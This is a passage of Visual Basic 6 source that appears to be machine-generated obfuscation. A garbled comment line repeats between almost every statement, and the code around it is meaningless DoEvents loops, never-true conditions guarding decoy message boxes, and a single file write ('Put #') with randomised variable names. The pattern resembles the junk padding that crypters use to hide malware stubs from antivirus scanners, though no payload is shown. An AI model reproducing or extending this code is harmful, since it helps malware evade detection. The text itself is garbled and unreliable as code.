- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim ucirkLBb As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim YCzCsjvd As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For YCzCsjvd = 0 To 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next YCzCsjvd
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- ucirkLBb = 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While ucirkLBb < 95
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim dthCNHRy As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For dthCNHRy = 0 To 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next dthCNHRy
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: ucirkLBb = ucirkLBb + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim YKmZbcjW As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For YKmZbcjW = 0 To 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next YKmZbcjW
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim efyYnZAF As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For efyYnZAF = 0 To 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next efyYnZAF
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox ("wYBhWmuS51")
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If Len("mMglnwdN8491") = Len("TlhFAqyc") Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim DDSSufTg As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim SoACJPPl As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For SoACJPPl = 0 To 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next SoACJPPl
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DDSSufTg = 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While DDSSufTg < 29
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim BFHHeEnT As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For BFHHeEnT = 0 To 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next BFHHeEnT
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: DDSSufTg = DDSSufTg + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim BOqfWcAn As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For BOqfWcAn = 0 To 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next BOqfWcAn
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim kyEjjwoq As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For kyEjjwoq = 0 To 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next kyEjjwoq
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox ("Error !!!")
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim DFOVhshx As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim QFaAeoFU As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For QFaAeoFU = 0 To 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next QFaAeoFU
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DFOVhshx = 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While DFOVhshx < 21
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim CmdZHvjP As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For CmdZHvjP = 0 To 4
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next CmdZHvjP
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: DFOVhshx = DFOVhshx + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim hdCFilVC As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For hdCFilVC = 0 To 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next hdCFilVC
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim FxZloKFI As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For FxZloKFI = 0 To 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next FxZloKFI
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Put #RVDHCWIGIMP, , ZEFGKWXQJQF
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 811923 = 811923 + 1 Then End
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 8778 < 22 Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim CErlisbo As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim xvvYkbkj As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For xvvYkbkj = 0 To 3
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next xvvYkbkj
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- CErlisbo = 4
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While CErlisbo < 48
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim UfMWGfPh As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For UfMWGfPh = 0 To 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next UfMWGfPh
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: CErlisbo = CErlisbo + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim dTkokHEo As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For dTkokHEo = 0 To 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next dTkokHEo
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim FvloXqMG As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For FvloXqMG = 0 To 3
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next FvloXqMG
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox ("EiWYpgQD65")
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If Len("shIKUYsH6845") = Len("HETYlzLW") Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim TTXNKbOS As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim YkwVDesB As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For YkwVDesB = 0 To 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next YkwVDesB
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- TTXNKbOS = 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While TTXNKbOS < 46
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim YllpCaXu As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For YllpCaXu = 0 To 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next YllpCaXu
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: TTXNKbOS = TTXNKbOS + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim BhUyMJkf As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For BhUyMJkf = 0 To 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next BhUyMJkf
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim azHlSlvT As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For azHlSlvT = 0 To 3
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next azHlSlvT
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox ("Error !!!")
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim RQwamyao As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim RRjkmWbD As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For RRjkmWbD = 0 To 8
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next RRjkmWbD
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- RQwamyao = 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While RQwamyao < 47
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim TxrhKmmB As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For TxrhKmmB = 0 To 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next TxrhKmmB
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: RQwamyao = RQwamyao + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim QLTsYARb As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For QLTsYARb = 0 To 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next QLTsYARb
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
